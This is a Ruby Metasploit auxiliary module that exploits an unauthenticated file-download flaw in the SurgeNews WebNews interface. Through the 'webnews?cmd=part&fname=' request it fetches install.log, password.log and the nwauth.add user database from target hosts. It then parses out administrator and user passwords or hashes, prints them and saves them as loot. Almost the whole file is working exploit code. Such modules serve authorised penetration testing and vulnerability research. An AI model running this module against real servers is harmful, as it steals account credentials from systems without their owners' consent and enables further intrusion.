##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  HttpFingerprint = { pattern: [ /DManager/ ] }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SurgeNews User Credentials',
        'Description' => %q{
          This module exploits a vulnerability in the WebNews web interface
          of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
          users to download arbitrary files from the software root directory;
          including the user database, configuration files and log files.

          This module extracts the administrator username and password, and
          the usernames and passwords or password hashes for all users.

          This module has been tested successfully on SurgeNews version
          2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
        },
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'Author' => 'bcoles',
        'DisclosureDate' => '2017-06-16'
      )
    )

    register_options [ Opt::RPORT(9080) ]
  end

  def max_retries
    3
  end

  def check_host(_ip)
    @tries = 0
    res = read_file 'install.log'
    if res =~ /SurgeNews/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def read_file(file)
    data = nil
    @tries += 1
    vprint_status "Retrieving file: #{file}"
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
                           'vars_get' => { 'cmd' => 'part', 'fname' => file }
    if !res
      vprint_error 'Connection failed'
    elsif res.code == 550
      vprint_error "Could not find file '#{file}'"
    elsif res.code == 200 && res.body =~ /550 Key: No key activated/
      # unregistered software throws an error once in every ~20 requests
      # try again...
      if @tries >= max_retries
        vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
      else
        vprint_status 'Retrying...'
        return read_file file
      end
    elsif res.code == 200 && !res.body.empty?
      vprint_good "Found #{file} (#{res.body.length} bytes)"
      data = res.body
    else
      vprint_error 'Unexpected reply'
    end
    @tries = 0
    data
  end

  def parse_log(log_data)
    return if log_data.nil?

    username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
    password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
    { 'username' => username, 'password' => password }
  end

  def parse_user_db(user_data)
    return if user_data.nil?

    creds = []
    user_data.lines.each do |line|
      next if line.eql? ''

      next unless line =~ /^(.+?):(.*):Groups=/

      user = ::Regexp.last_match(1)
      pass = ::Regexp.last_match(2)
      # clear text credentials are prefaced with '*'
      if pass.starts_with? '*'
        creds << { 'username' => user, 'password' => pass[1..] }
      # otherwise its a hash
      else
        creds << { 'username' => user, 'hash' => pass }
      end
    end
    creds
  end

  def run_host(_ip)
    @tries = 0

    service_data = {
      address: rhost,
      port: rport,
      service_name: (ssl ? 'https' : 'http'),
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',
                                      'Indent' => 1,
                                      'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']

    # Read administrator password from password.log
    admin = parse_log read_file 'password.log'
    # If password.log doesn't contain credentials
    # then the password hasn't been updated since install.
    # Retrieve the credentials from install.log instead.
    admin = parse_log read_file 'install.log' if admin.nil?

    if admin.nil?
      vprint_error 'Found no administrator credentials'
    else
      print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
      cred_table << [admin['username'], admin['password'], nil, true]

      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        private_type: :password,
        private_data: admin['password'],
        username: admin['username']
      }

      credential_data.merge! service_data
      credential_core = create_credential credential_data
      login_data = {
        core: credential_core,
        access_level: 'Administrator',
        status: Metasploit::Model::Login::Status::UNTRIED
      }
      login_data.merge! service_data
      create_credential_login login_data
    end

    # Read user credentials from nwauth.add
    users = parse_user_db read_file 'nwauth.add'
    if users.blank?
      vprint_error 'Found no user credentials in nwauth.add'
      return
    end
    vprint_status "Found #{users.length} users in nwauth.add"

    unless users.nil?
      users.each do |user|
        next if user.empty?

        cred_table << [user['username'], user['password'], user['hash'], false]

        if user['password']
          print_good "Found user credentials (#{user['username']}:#{user['password']})"
          credential_data = {
            origin_type: :service,
            module_fullname: fullname,
            private_type: :password,
            private_data: user['password'],
            username: user['username']
          }
        else
          credential_data = {
            origin_type: :service,
            module_fullname: fullname,
            private_type: :nonreplayable_hash,
            private_data: user['hash'],
            username: user['username']
          }
        end

        credential_data.merge! service_data
        credential_core = create_credential credential_data
        login_data = {
          core: credential_core,
          access_level: 'User',
          status: Metasploit::Model::Login::Status::UNTRIED
        }
        login_data.merge! service_data
        create_credential_login login_data
      end
    end

    print_line
    print_line cred_table.to_s

    p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'
    print_good "Credentials saved in: #{p}"
  end
end
